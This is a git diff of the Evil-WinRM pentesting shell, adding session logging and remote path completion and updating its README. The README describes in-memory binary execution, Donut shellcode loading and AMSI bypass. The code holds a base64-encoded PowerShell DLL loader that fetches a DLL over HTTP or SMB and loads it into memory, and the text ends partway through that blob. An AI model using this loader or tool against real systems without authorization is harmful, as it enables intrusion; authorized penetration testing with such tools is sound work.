diff --git a/CHANGELOG.md b/CHANGELOG.md index 235067c..a3b24b9 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,3 +1,7 @@ +### 3.0 + - Remote files/directories autocomplete feature (Thanks to arale61) + - Added option to log commands and outputs to a log file (Thanks to Borch Cañavate) + ### 2.4 - File permission access error now handled in exception to avoid losing connection - Improvements on bundler installation method diff --git a/Gemfile b/Gemfile index 023f58c..ebdf6f5 100644 --- a/Gemfile +++ b/Gemfile @@ -3,3 +3,5 @@ source 'https://rubygems.org' gem 'winrm' gem 'winrm-fs' gem 'stringio' +gem 'logger' +gem 'fileutils' diff --git a/Gemfile.lock b/Gemfile.lock index 3fd2e41..383d0b2 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -19,6 +19,7 @@ GEM rubyzip (1.3.0) stringio (0.0.2) winrm (2.3.2) + rexml (>= 3.2.3.1) builder (>= 2.1.2) erubis (~> 2.7) gssapi (~> 1.2) @@ -32,6 +33,8 @@ GEM logging (>= 1.6.1, < 3.0) rubyzip (~> 1.1) winrm (~> 2.0) + logger (1.4.3) + fileutils (0.7.2) PLATFORMS ruby diff --git a/README.md b/README.md index ce40f1c..e6c020a 100644 --- a/README.md +++ b/README.md @@ -6,16 +6,16 @@ The ultimate WinRM shell for hacking/pentesting ## Description & Purpose This shell is the ultimate WinRM shell for hacking/pentesting. -WinRM (Windows Remote Management) is the Microsoft implementation of WS-Management Protocol. A standard SOAP based protocol -that allows hardware and operating systems from different vendors to interoperate. Microsoft included it in their Operating +WinRM (Windows Remote Management) is the Microsoft implementation of WS-Management Protocol. A standard SOAP based protocol +that allows hardware and operating systems from different vendors to interoperate. Microsoft included it in their Operating Systems in order to make life easier to system administrators. -This program can be used on any Microsoft Windows Servers with this feature enabled (usually at port 5985), of course only -if you have credentials and permissions to use it. So we can say that it could be used in a post-exploitation hacking/pentesting -phase. The purpose of this program is to provide nice and easy-to-use features for hacking. It can be used with legitimate +This program can be used on any Microsoft Windows Servers with this feature enabled (usually at port 5985), of course only +if you have credentials and permissions to use it. So we can say that it could be used in a post-exploitation hacking/pentesting +phase. The purpose of this program is to provide nice and easy-to-use features for hacking. It can be used with legitimate purposes by system administrators as well but the most of its features are focused on hacking/pentesting stuff. -It is based mainly in the WinRM Ruby library which changed its way to work since its version 2.0. Now instead of using WinRM +It is based mainly in the WinRM Ruby library which changed its way to work since its version 2.0. Now instead of using WinRM protocol, it is using PSRP (Powershell Remoting Protocol) for initializing runspace pools as well as creating and processing pipelines. ## Features @@ -32,8 +32,10 @@ protocol, it is using PSRP (Powershell Remoting Protocol) for initializing runsp - List remote machine services without privileges - Command History - WinRM command completion - - Local files completion + - Local files/directories completion + - Remote path (files/directories) completion (can be disabled optionally) - Colorization on prompt and output messages (can be disabled optionally) + - Optional logging feature - Docker support (prebuilt images available at [Dockerhub]) - Trap capturing to avoid accidental shell exit on Ctrl+C @@ -55,6 +57,8 @@ Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-p P -P, --port PORT Remote host port (default 5985) -V, --version Show version -n, --no-colors Disable colors + -N, --no-rpath-completion Disable remote path completion + -l, --log Log the WinRM session -h, --help Display this help message ``` @@ -65,12 +69,14 @@ Depending of your installation method (3 availables) the installation of them co Another important requirement only used for Kerberos auth is to install the Kerberos package used for network authentication. For some Linux like Debian based (Kali, Parrot, etc.) it is called `krb5-user`. For BlackArch it is called `krb5` and probably it could be called in a different way for other Linux distributions. +The remote path completion feature will work only if your ruby was compiled enabling the `--with-readline-dir` flag. This is enabled by default in ruby included on some Linux distributions but not in all. Check [the section below](#Remote-path-completion) for more info. + ## Installation & Quick Start (4 methods) ### Method 1. Installation directly as ruby gem (dependencies will be installed automatically on your system) - Step 1. Install it (it will install automatically dependencies): `gem install evil-winrm` - Step 2. Ready. Just launch it! `~$ evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'` - + ### Method 2. Git clone and install dependencies on your system manually - Step 1. Install dependencies manually: `~$ sudo gem install winrm winrm-fs stringio` - Step 2. Clone the repo: `git clone https://github.com/Hackplayers/evil-winrm.git` @@ -87,16 +93,16 @@ For some Linux like Debian based (Kali, Parrot, etc.) it is called `krb5-user`. ## Documentation -#### Clear text password +### Clear text password If you don't want to put the password in clear text, you can optionally avoid to set `-p` argument and the password will be prompted preventing to be shown. -#### Ipv6 +### Ipv6 To use IPv6, the address must be added to /etc/hosts. Just put the already set name of the host after `-i` argument instead of an IP address. -#### Basic commands - - **upload**: local files can be auto-completed using tab key. +### Basic commands + - **upload**: local files can be auto-completed using tab key. - usage: `upload local_filename` or `upload local_filename destination_filename` - - **download**: + - **download**: - usage: `download remote_filename` or `download remote_filename destination_filename` __Notes about paths (upload/download)__: @@ -108,12 +114,12 @@ To use IPv6, the address must be added to /etc/hosts. Just put the already set n ![menu](https://raw.githubusercontent.com/Hackplayers/evil-winrm/master/resources/image2.png) -#### Load powershell scripts +### Load powershell scripts - To load a ps1 file you just have to type the name (auto-completion using tab allowed). The scripts must be in the path set at `-s` argument. Type menu again and see the loaded functions. Very large files can take a long time to be loaded. ![ps1](https://raw.githubusercontent.com/Hackplayers/evil-winrm/master/resources/image7.png) -#### Advanced commands +### Advanced commands - Invoke-Binary: allows exes compiled from c# to be executed in memory. The name can be auto-completed using tab key. Arguments for the exe file can be passed comma separated. Example: `Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'`. The executables must be in the path set at `-e` argument. ![Invoke-Binary](https://raw.githubusercontent.com/Hackplayers/evil-winrm/master/resources/image3.png) @@ -130,7 +136,7 @@ To use IPv6, the address must be added to /etc/hosts. Just put the already set n ![Donut-Loader](https://raw.githubusercontent.com/Hackplayers/evil-winrm/master/resources/image8.png) You can use this [donut-maker] to generate the payload.bin if you don't use Windows. - This script use a python module written by Marcello Salvati ([byt3bl33d3r]). It could be installed using pip: + This script use a python module written by Marcello Salvati ([byt3bl33d3r]). It could be installed using pip: `pip3 install donut-shellcode` @@ -140,7 +146,7 @@ To use IPv6, the address must be added to /etc/hosts. Just put the already set n ![amsi](https://raw.githubusercontent.com/Hackplayers/evil-winrm/master/resources/image11.png) -#### Kerberos +### Kerberos - First you have to sync date with the DC: `rdate -n ` - To generate ticket there are many ways: @@ -151,7 +157,7 @@ To use IPv6, the address must be added to /etc/hosts. Just put the already set n * If you get a kirbi ticket using [Rubeus] or [Mimikatz] you have to convert to ccache using [ticket_converter.py]: - `python ticket_converter.py ticket.kirbi ticket.ccache` + `python ticket_converter.py ticket.kirbi ticket.ccache` - Add ccache ticket. There are 2 ways: @@ -171,6 +177,103 @@ To use IPv6, the address must be added to /etc/hosts. Just put the already set n - To remove ticket use: `kdestroy` - For more information about Kerberos check this [cheatsheet] +### Remote path completion +This feature could be not available depending of the ruby you are using. It must be compiled with readline support. Otherwise, this feature will not work (a warning will be shown). + +#### Method1 (compile the needed extension) + +Using this method you'll compile ruby with the needed readline feature but to use only the library without changing the default ruby version on your system. Because of this, is the most recommended method. + +Let's suppose that you have in your Debian based system ruby 2.7.3: + +``` +# Install needed package +apt install libreadline-dev + +# Check your ruby version +ruby --version +ruby 2.7.3p183 (2021-04-05 revision 6847ee089d) [x86_64-linux-gnu] + +# Download ruby source code (2.7.3 in this case): +wget https://ftp.ruby-lang.org/pub/ruby/2.7/ruby-2.7.3.tar.gz + +# Extract source code +tar -xf ruby-2.7.3.tar.gz + +# Compile the readline extension: +cd ruby-2.7.3/ext/readline +ruby ./extconf.rb +make + +# Patch current version of the ruby readline extension: +sudo cp /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so.bk +sudo cp -f readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so +``` + +#### Method2 (Install ruby to use it only for evil-winrm using rbenv) + +Let's suppose that you want ruby 2.7.1 on a Debian based Linux and you are using zsh. This script will automatize it. You'll need to launch it from the same dir where evil-winrm.rb and Gemfile is located (the evil-winrm created dir after a git clone for example): + +``` +#!/usr/bin/env zsh + +# Uninstall possible current installed versions +sudo gem uninstall evil-winrm -q +gem uninstall evil-winrm -q + +# Install rbenv +sudo apt install rbenv + +# Config rbenv on zshrc config file +echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.zshrc +echo 'eval "$(rbenv init -)"' >> ~/.zshrc +source ~/.zshrc + +# Install ruby with readline support +export RUBY_CONFIGURE_OPTS=--with-readline-dir="/usr/include/readline" +rbenv install 2.7.1 + +# Create file '.ruby-version' to set right ruby version +rbenv local 2.7.1 + +# Install local gems +gem install bundler +bundle install + +current_evwr="$(pwd)/evil-winrm.rb" + +sudo bash -c "cat << 'EOF' > /usr/bin/evil-winrm + #!/usr/bin/env sh + "${current_evwr}" "\$@" +EOF" + +sudo chmod +x /usr/bin/evil-winrm +``` + +Then you can safely launch evil-winrm using the new installed ruby with the required readline support from any location. + +#### Method3 (compile entire ruby) + +If you want to compile it yourself, you can follow these steps. Let's suppose that you want ruby 2.7.3: + +``` +wget -O ruby-install-0.8.1.tar.gz https://github.com/postmodern/ruby-install/archive/v0.8.1.tar.gz +tar -xzvf ruby-install-0.8.1.tar.gz +cd ruby-install-0.8.1/ +sudo make install +ruby-install ruby 2.7.3 -- --with-readline-dir=/usr/include/readline +``` +Depending of your system it will be installed at `/opt/rubies/ruby-2.7.3` or maybe at ` ~/.rubies/ruby-2.7.3`. + +Now just need to install evil-winrm dependencies for that new installed ruby version. The easiest way is to launch command `/opt/rubies/ruby-2.7.3/bin/gem install evil-winrm`. The gem command used must be belonging to the new ruby installation. + +After that, you can launch safely your new installed ruby to use it on evil-winrm: `/opt/rubies/ruby-2.7.3/bin/ruby ./evil-winrm.rb -h` + +It is recommended to use this new installed ruby only to launch evil-winrm. If you set it up as your default ruby for your system, bear in mind that it has no dependency gems installed. Some ruby based software like Metasploit or others could not start correctly due dependencies problems. + +### Logging +This feature will create files on your $HOME dir saving commands and the outputs of the WinRM sessions + ## Changelog: Changelog and project changes can be checked here: [CHANGELOG.md](https://raw.githubusercontent.com/Hackplayers/evil-winrm/master/CHANGELOG.md) @@ -190,13 +293,15 @@ Hat tip to: - [TheWover] for his awesome donut tool. - [byt3bl33d3r] for his python library to create donut payloads. - [Sh11td0wn] for inspiration about new features. + - [arale61] for his awesome contribution to remote path completion. + - [Borch] for his help adding logging feature. - [Hackplayers] for giving a shelter on their github to this software. ## Disclaimer & License This script is licensed under LGPLv3+. Direct link to [License](https://raw.githubusercontent.com/Hackplayers/evil-winrm/master/LICENSE). -Evil-WinRM should be used for authorized penetration testing and/or nonprofit educational purposes only. -Any misuse of this software will not be the responsibility of the author or of any other collaborator. +Evil-WinRM should be used for authorized penetration testing and/or nonprofit educational purposes only. +Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own servers and/or with the server owner's permission. @@ -206,6 +311,8 @@ Use it at your own servers and/or with the server owner's permission. [Vis0r]: https://github.com/vmotos [Alamot]: https://github.com/Alamot [3v4Si0N]: https://github.com/3v4Si0N +[arale61]: https://github.com/arale61 +[Borch]: https://github.com/Stoo0rmq [donut]: https://github.com/TheWover/donut [donut-maker]: https://github.com/Hackplayers/Salsa-tools/blob/master/Donut-Maker/donut-maker.py [byt3bl33d3r]: https://twitter.com/byt3bl33d3r @@ -226,7 +333,7 @@ Use it at your own servers and/or with the server owner's permission. [@_Laox]: https://twitter.com/_Laox -[Version-shield]: https://img.shields.io/badge/version-2.4-blue.svg?style=flat-square&colorA=273133&colorB=0093ee "Latest version" +[Version-shield]: https://img.shields.io/badge/version-3.0-blue.svg?style=flat-square&colorA=273133&colorB=0093ee "Latest version" [Ruby2.3-shield]: https://img.shields.io/badge/ruby-2.3%2B-blue.svg?style=flat-square&colorA=273133&colorB=ff0000 "Ruby 2.3 or later" [License-shield]: https://img.shields.io/badge/license-LGPL%20v3%2B-blue.svg?style=flat-square&colorA=273133&colorB=bd0000 "LGPL v3+" [Docker-shield]: https://img.shields.io/docker/cloud/automated/oscarakaelvis/evil-winrm.svg?style=flat-square&colorA=273133&colorB=a9a9a9 "Docker rules!" diff --git a/evil-winrm.rb b/evil-winrm.rb index 2270768..3d70bf8 100755 --- a/evil-winrm.rb +++ b/evil-winrm.rb @@ -13,11 +13,13 @@ require 'optionparser' require 'io/console' require 'time' +require 'fileutils' +require 'logger' # Constants # Version -VERSION = '2.4' +VERSION = '3.0' # Msg types TYPE_INFO = 0 @@ -29,12 +31,14 @@ # Available commands $LIST = ['upload', 'download', 'exit', 'menu', 'services'].sort +$COMMANDS = $LIST.dup $LISTASSEM = [''].sort $DONUTPARAM1 = ['-process_id'] $DONUTPARAM2 = ['-donutfile'] -# Colors +# Colors and path completion $colors_enabled = true +$check_rpath_completion = true # Path for ps1 scripts and exec files $scripts_path = "" @@ -48,6 +52,32 @@ $url = "wsman" $default_service = "HTTP" +# Global vars + +# Available commands +$LIST = ['upload', 'download', 'exit', 'menu', 'services'].sort +$COMMANDS = $LIST.dup +$LISTASSEM = [''].sort +$DONUTPARAM1 = ['-process_id'] +$DONUTPARAM2 = ['-donutfile'] + +# Colors and path completion +$colors_enabled = true +$check_rpath_completion = true + +# Path for ps1 scripts and exec files +$scripts_path = "" +$executables_path = "" + +# Connection vars initialization +$host = "" +$port = "5985" +$user = "" +$password = "" +$url = "wsman" +$default_service = "HTTP" +$full_logging_path = ENV["HOME"]+"/evil-winrm-logs" + # Redefine download method from winrm-fs module WinRM module FS @@ -84,11 +114,37 @@ def download(remote_path, local_path, chunk_size = 1024 * 1024, first = true, si # Class creation class EvilWinRM + # Initialization + def initialize() + @directories = Hash.new + @cache_ttl = 10 + @executables = Array.new + @functions = Array.new + end + + # Remote path completion compatibility check + def completion_check() + if $check_rpath_completion == true then + begin + Readline.quoting_detection_proc + @completion_enabled = true + rescue NotImplementedError => err + @completion_enabled = false + self.print_message("Remote path completions is disabled due to ruby limitation: #{err.to_s}", TYPE_WARNING) + self.print_message("For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion", TYPE_DATA) + end + else + @completion_enabled = false + self.print_message("Remote path completion is disabled", TYPE_WARNING) + end + + end + # Arguments def arguments() options = { port:$port, url:$url, service:$service } optparse = OptionParser.new do |opts| - opts.banner = "Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] [--spn SPN_PREFIX]" + opts.banner = "Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] [--spn SPN_PREFIX] [-l]" opts.on("-S", "--ssl", "Enable ssl") do |val| $ssl = true options[:port] = "5986" @@ -124,7 +180,16 @@ def arguments() opts.on("-n", "--no-colors", "Disable colors") do |val| $colors_enabled = false end - opts.on('-h', '--help', 'Display this help message') do + opts.on("-N", "--no-rpath-completion", "Disable remote path completion") do |val| + $check_rpath_completion = false + end + opts.on("-l","--log","Log the WinRM session") do|val| + $log = true + $filepath = "" + $logfile = "" + $logger = "" + end + opts.on("-h", "--help", "Display this help message") do self.print_header() puts(opts) puts() @@ -145,7 +210,7 @@ def arguments() end rescue OptionParser::InvalidOption, OptionParser::MissingArgument self.print_header() - self.print_message($!.to_s, TYPE_ERROR) + self.print_message($!.to_s, TYPE_ERROR, true, $logger) puts(optparse) puts() custom_exit(1, false) @@ -166,6 +231,22 @@ def arguments() $priv_key = options[:priv_key] $realm = options[:realm] $service = options[:service] + if !$log.nil? then + if !Dir.exists?($full_logging_path) + Dir.mkdir $full_logging_path + end + if !Dir.exists?($full_logging_path + "/" + Time.now.strftime("%Y%d%m")) + Dir.mkdir $full_logging_path + "/" + Time.now.strftime("%Y%d%m") + end + if !Dir.exists?($full_logging_path + "/" + Time.now.strftime("%Y%d%m") + "/" + $host) + Dir.mkdir $full_logging_path+ "/" + Time.now.strftime("%Y%d%m") + "/" + $host + end + $filepath = $full_logging_path + "/" + Time.now.strftime("%Y%d%m") + "/" + $host + "/" + Time.now.strftime("%H%M%S") + $logger = Logger.new($filepath) + $logger.formatter = proc do |severity, datetime, progname, msg| + "#{datetime}: #{msg}\n" + end + end if !$realm.nil? then if $service.nil? then $service = $default_service @@ -238,7 +319,7 @@ def colorize(text, color = "default") end # Messsage printing - def print_message(msg, msg_type, prefix_print=true) + def print_message(msg, msg_type, prefix_print=true, log=nil) if msg_type == TYPE_INFO then msg_prefix = "Info: " color = "blue" @@ -259,24 +340,27 @@ def print_message(msg, msg_type, prefix_print=true) if !prefix_print then msg_prefix = "" end - if $colors_enabled then puts(self.colorize("#{msg_prefix}#{msg}", color)) else puts("#{msg_prefix}#{msg}") end + + if !log.nil? + log.info("#{msg_prefix}#{msg}") + end puts() end # Certificates validation def check_certs(pub_key, priv_key) if !File.file?(pub_key) then - self.print_message("Path to provided public certificate file \"#{pub_key}\" can't be found. Check filename or path", TYPE_ERROR) + self.print_message("Path to provided public certificate file \"#{pub_key}\" can't be found. Check filename or path", TYPE_ERROR, true, $logger) self.custom_exit(1) end if !File.file?($priv_key) then - self.print_message("Path to provided private certificate file \"#{priv_key}\" can't be found. Check filename or path", TYPE_ERROR) + self.print_message("Path to provided private certificate file \"#{priv_key}\" can't be found. Check filename or path", TYPE_ERROR, true, $logger) self.custom_exit(1) end end @@ -284,7 +368,7 @@ def check_certs(pub_key, priv_key) # Directories validation def check_directories(path, purpose) if path == "" then - self.print_message("The directory used for #{purpose} can't be empty. Please set a path", TYPE_ERROR) + self.print_message("The directory used for #{purpose} can't be empty. Please set a path", TYPE_ERROR, true, $logger) self.custom_exit(1) end @@ -301,7 +385,7 @@ def check_directories(path, purpose) end if !File.directory?(path) then - self.print_message("The directory \"#{path}\" used for #{purpose} was not found", TYPE_ERROR) + self.print_message("The directory \"#{path}\" used for #{purpose} was not found", TYPE_ERROR, true, $logger) self.custom_exit(1) end @@ -323,8 +407,8 @@ def silent_warnings # Read powershell script files def read_scripts(scripts) - files = Dir.entries(scripts).select{ |f| File.file? File.join(scripts, f) } - return files + files = Dir.entries(scripts).select{ |f| File.file? File.join(scripts, f) } || [] + return files.grep(/^*\.(ps1|psd1|psm1)$/) end # Read executable files @@ -334,10 +418,20 @@ def read_executables(executables) end # Read local files and directories names - def paths(directory) - files = Dir.glob("#{directory}*.*", File::FNM_DOTMATCH) - directories = Dir.glob("#{directory}*").select {|f| File.directory? f} - return files + directories + def paths(a_path) + parts = self.get_dir_parts(a_path) + my_dir = parts[0] + grep_for = parts[1] + + my_dir = File.expand_path(my_dir) + my_dir = my_dir + "/" unless my_dir[-1] == '/' + + files = Dir.glob("#{my_dir}*", File::FNM_DOTMATCH) + directories = Dir.glob("#{my_dir}*").select {|f| File.directory? f} + + result = files + directories || [] + + result.grep( /^#{Regexp.escape(my_dir)}#{grep_for}/i ).uniq end # Custom exit @@ -345,14 +439,14 @@ def custom_exit(exit_code = 0, message_print=true) if message_print then if exit_code == 0 then puts() - self.print_message("Exiting with code #{exit_code.to_s}", TYPE_INFO) + self.print_message("Exiting with code #{exit_code.to_s}", TYPE_INFO, true, $logger) elsif exit_code == 1 then - self.print_message("Exiting with code #{exit_code.to_s}", TYPE_ERROR) + self.print_message("Exiting with code #{exit_code.to_s}", TYPE_ERROR, true, $logger) elsif exit_code == 130 then puts() - self.print_message("Exiting...", TYPE_INFO) + self.print_message("Exiting...", TYPE_INFO, true, $logger) else - self.print_message("Exiting with code #{exit_code.to_s}", TYPE_ERROR) + self.print_message("Exiting with code #{exit_code.to_s}", TYPE_ERROR, true, $logger) end end exit(exit_code) @@ -360,13 +454,12 @@ def custom_exit(exit_code = 0, message_print=true) # Progress bar def progress_bar(bytes_done, total_bytes) - progress = ((bytes_done.to_f / total_bytes.to_f) * 100).round - progress_bar = (progress / 10).round - progress_string = "▓" * (progress_bar-1).clamp(0,9) - progress_string = progress_string + "▒" + ("░" * (10-progress_bar)) - message = "Progress: #{progress}% : |#{progress_string}| \r" - print message - $stdout.flush + progress = ((bytes_done.to_f / total_bytes.to_f) * 100).round + progress_bar = (progress / 10).round + progress_string = "▓" * (progress_bar-1).clamp(0,9) + progress_string = progress_string + "▒" + ("░" * (10-progress_bar)) + message = "Progress: #{progress}% : |#{progress_string}| \r" + print message end # Get filesize @@ -381,10 +474,16 @@ def main self.connection_initialization() file_manager = WinRM::FS::FileManager.new($conn) self.print_header() + self.completion_check() + + # Log check + if !$log.nil? then + self.print_message("Logging Enabled. Log file: #{$filepath}", TYPE_WARNING, true) + end # SSL checks if !$ssl and ($pub_key or $priv_key) then - self.print_message("Useless cert/s provided, SSL is not enabled", TYPE_WARNING) + self.print_message("Useless cert/s provided, SSL is not enabled", TYPE_WARNING, true, $logger) elsif $ssl self.print_message("SSL enabled", TYPE_WARNING) end @@ -395,56 +494,30 @@ def main # Kerberos checks if !$user.nil? and !$realm.nil? - self.print_message("User is not needed for Kerberos auth. Ticket will be used", TYPE_WARNING) + self.print_message("User is not needed for Kerberos auth. Ticket will be used", TYPE_WARNING, true, $logger) end if !$password.nil? and !$realm.nil? - self.print_message("Password is not needed for Kerberos auth. Ticket will be used", TYPE_WARNING) + self.print_message("Password is not needed for Kerberos auth. Ticket will be used", TYPE_WARNING, true, $logger) end if $realm.nil? and !$service.nil? then - self.print_message("Useless spn provided, only used for Kerberos auth", TYPE_WARNING) + self.print_message("Useless spn provided, only used for Kerberos auth", TYPE_WARNING, true, $logger) end if !$scripts_path.nil? then self.check_directories($scripts_path, "scripts") - functions = self.read_scripts($scripts_path) + @functions = self.read_scripts($scripts_path) self.silent_warnings do - $LIST = $LIST + functions + $LIST = $LIST + @functions end end if !$executables_path.nil? then self.check_directories($executables_path, "executables") - executables = self.read_executables($executables_path) + @executables = self.read_executables($executables_path) end menu = Base64.decode64("JHggPSAiQ2lBZ0lDd3VJQ0FnS0NBZ0lDNGdJQ0FnSUNBcElDQWdJQ0FnSUNBZ0lDQWdJQ0FnSWlBZ0lDQWdJQ0FnSUNBZ0lDd3VJQ0FnS0NBZ0lDNGdJQ0FnSUNBcElDQWdJQ0FnSUM0Z0lDQUtJQ0FvSWlBZ0tDQWdLU0FnS1NjZ0lDQWdJQ3duSUNBZ0lDQWdJQ0FnSUNBZ0lDaGdJQ0FnSUNBbllDQWdJQ0FvSWlBZ0lDQWdLU0FnS1NjZ0lDQWdJQ3duSUNBZ0xpQWdMQ2tnSUFvdU95QXBJQ0FuSUNnb0lDZ2lJQ2tnSUNBZ095Z3NJQ0FnSUNBZ0xpQWdJQ0FnT3lrZ0lDSWdJQ2tpSUNBdU95QXBJQ0FuSUNnb0lDZ2lJQ2tnSUNBcE95Z3NJQ0FnS1Nnb0lDQWdDbDhpTGl4ZkxDNWZYeWt1TENrZ0tDNHVYeWdnTGw4cExDQWdJQ0FnS1NBZ0xDQW9MbDh1TGlnZ0p5NHVYeUl1WHl3Z0xpQW5MbDhwWHlndUxpeGZLRjhpTGlrZ1h5Z2dYeWNwSUNBS1hGOGdJQ0JmWDE5Zlh5OWZYeUFnWDN4Zlgzd2dJSHdnSUNBZ0tDZ2dJQ2dnSUM4Z0lGd2dJQ0FnTHlBZ1hGOWZmQ0JmWDE5ZlhGOWZYMTlmWHlBZ0lGd2dJQzhnSUNBZ0lGd2dJQW9nZkNBZ0lDQmZYeWxmWENBZ1hDOGdMeUFnZkNBZ2ZDQWdJQ0E3WHlsZkp5a2dYQ0FnSUZ3dlhDOGdJQ0F2SUNCOEx5QWdJQ0JjZkNBZ0lDQWdJQ0JmTHlBdklDQmNJQzhnSUZ3Z0NpQjhJQ0FnSUNBZ0lDQmNYQ0FnSUM5OElDQjhJQ0I4WDE4Z0wxOWZYMTlmTHlBZ1hDQWdJQ0FnSUNBZ0wzd2dJSHdnSUNCOElDQmNJQ0FnSUh3Z0lDQmNMeUFnSUNCWklDQWdJRndLTDE5ZlgxOWZYMThnSUM4Z1hGOHZJSHhmWDN4ZlgxOWZMeUFnSUNBZ0lDQWdJQ0FnWEY5Zkwxd2dJQzhnZkY5ZmZGOWZYM3dnSUM5ZlgxOWZmRjhnSUM5Y1gxOWZYM3hmWHlBZ0x3b2dJQ0FnSUNBZ0lGd3ZJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUZ3dklDQWdJQ0FnSUNBZ0lGd3ZJQ0FnSUNBZ0lGd3ZJQ0FnSUNBZ0lDQWdYQzhnQ2lBZ0lDQWdJQ0FnSUNBZ0lDQWdRbms2SUVONVltVnlWbUZqWVN3Z1QzTmpZWEpCYTJGRmJIWnBjeXdnVEdGdmVDQkFTR0ZqYTNCc1lYbGxjbk1nSUFvZyIKJG1lbnUgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCR4KSkKCgppZiAoJGZ1bmNpb25lc19wcmV2aWFzLmNvdW50IC1sZSAxKSB7JGZ1bmNpb25lc19wcmV2aWFzID0gKGxzIGZ1bmN0aW9uOikuTmFtZX0KCmZ1bmN0aW9uIERsbC1Mb2FkZXIgewogICAgcGFyYW0oW3N3aXRjaF0kc21iLCBbc3dpdGNoXSRsb2NhbCwgW3N3aXRjaF0kaHR0cCwgW3N0cmluZ10kcGF0aCkKCiAgICAkaGVscD1AIgouU1lOT1BTSVMKICAgIGRsbCBsb2FkZXIuCiAgICBQb3dlclNoZWxsIEZ1bmN0aW9uOiBEbGwtTG9hZGVyCiAgICBBdXRob3I6IEjDg8KpY3RvciBkZSBBcm1hcyAoM3Y0U2kwTikKCiAgICBSZXF1aXJlZCBkZXBlbmRlbmNpZXM6IE5vbmUKICAgIE9wdGlvbmFsIGRlcGVuZGVuY2llczogTm9uZQouREVTQ1JJUFRJT04KICAgIC4KLkVYQU1QTEUKICAgIERsbC1Mb2FkZXIgLXNtYiAtcGF0aCBcXDE5Mi4xNjguMTM5LjEzMlxcc2hhcmVcXG15RGxsLmRsbAogICAgRGxsLUxvYWRlciAtbG9jYWwgLXBhdGggQzpcVXNlcnNcUGVwaXRvXERlc2t0b3BcbXlEbGwuZGxsCiAgICBEbGwtTG9hZGVyIC1odHRwIC1wYXRoIGh0dHA6Ly9leGFtcGxlLmNvbS9teURsbC5kbGwKCiAgICBEZXNjcmlwdGlvbgogICAgLS0tLS0tLS0tLS0KICAgIEZ1bmN0aW9uIHRoYXQgbG9hZHMgYW4gYXJiaXRyYXJ5IGRsbAoiQAoKICAgIGlmICgoJHNtYiAtZXEgJGZhbHNlIC1hbmQgJGxvY2FsIC1lcSAkZmFsc2UgLWFuZCAkaHR0cCAtZXEgJGZhbHNlKSAtb3IgKCRwYXRoIC1lcSAiIiAtb3IgJHBhdGggLWVxICRudWxsKSkKICAgIHsKICAgICAgICB3cml0ZS1ob3N0ICIkaGVscGBuIgogICAgfQogICAgZWxzZQogICAgewoKICAgICAgICBpZiAoJGh0dHApCiAgICAgICAgewogICAgICAgICAgICBXcml0ZS1Ib3N0ICJbK10gUmVhZGluZyBkbGwgYnkgSFRUUCIKICAgICAgICAgICAgJHdlYmNsaWVudCA9IFtTeXN0ZW0uTmV0LldlYkNsaWVudF06Om5ldygpCiAgICAgICAgICAgICRkbGwgPSAkd2ViY2xpZW50LkRvd25sb2FkRGF0YSgkcGF0aCkKICAgICAgICB9CiAgICAgICAgZWxzZQogICAgICAgIHsKICAgICAgICAgICAgaWYoJHNtYil7IFdyaXRlLUhvc3QgIlsrXSBSZWFkaW5nIGRsbCBieSBTTUIiIH0KICAgICAgICAgICAgZWxzZSB7IFdyaXRlLUhvc3QgIlsrXSBSZWFkaW5nIGRsbCBsb2NhbGx5IiB9CgogICAgICAgICAgICAkZGxsID0gW1N5c3RlbS5JTy5GaWxlXTo6UmVhZEFsbEJ5dGVzKCRwYXRoKQogICAgICAgIH0KICAgICAgICAKCiAgICAgICAgaWYgKCRkbGwgLW5lICRudWxsKQogICAgICAgIHsKICAgICAgICAgICAgV3JpdGUtSG9zdCAiWytdIExvYWRpbmcgZGxsLi4uIgogICAgICAgICAgICAkYXNzZW1ibHlfbG9hZGVkID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZCgkZGxsKQogICAgICAgICAgICAkb2JqID0gKCgkYXNzZW1ibHlfbG9hZGVkLkdldEV4cG9ydGVkVHlwZXMoKSB8IFNlbGVjdC1PYmplY3QgRGVjbGFyZWRNZXRob2RzICkuRGVjbGFyZWRNZXRob2RzIHwgV2hlcmUtT2JqZWN0IHskXy5pc3B1YmxpYyAtZXEgJHRydWV9IHwgU2VsZWN0LU9iamVjdCBEZWNsYXJpbmdUeXBlLG5hbWUgLVVuaXF1ZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZSApCiAgICAgICAgICAgIFthcnJheV0kbWV0aG9kcyA9IGZvcmVhY2ggKCRhc3NlbWJseXByb3BlcnRpZXMgaW4gJG9iaikgeyAkbmFtZXNwYWNlID0gJGFzc2VtYmx5cHJvcGVydGllcy5EZWNsYXJpbmdUeXBlLnRvc3RyaW5nKCk7ICRtZXRvZG8gPSAkYXNzZW1ibHlwcm9wZXJ0aWVzLm5hbWUudG9zdHJpbmcoKTsgIlsiICsgJG5hbWVzcGFjZSArICJdIiArICI6OiIgKyAkbWV0b2RvICsgIigpIiB9CiAgICAgICAgIC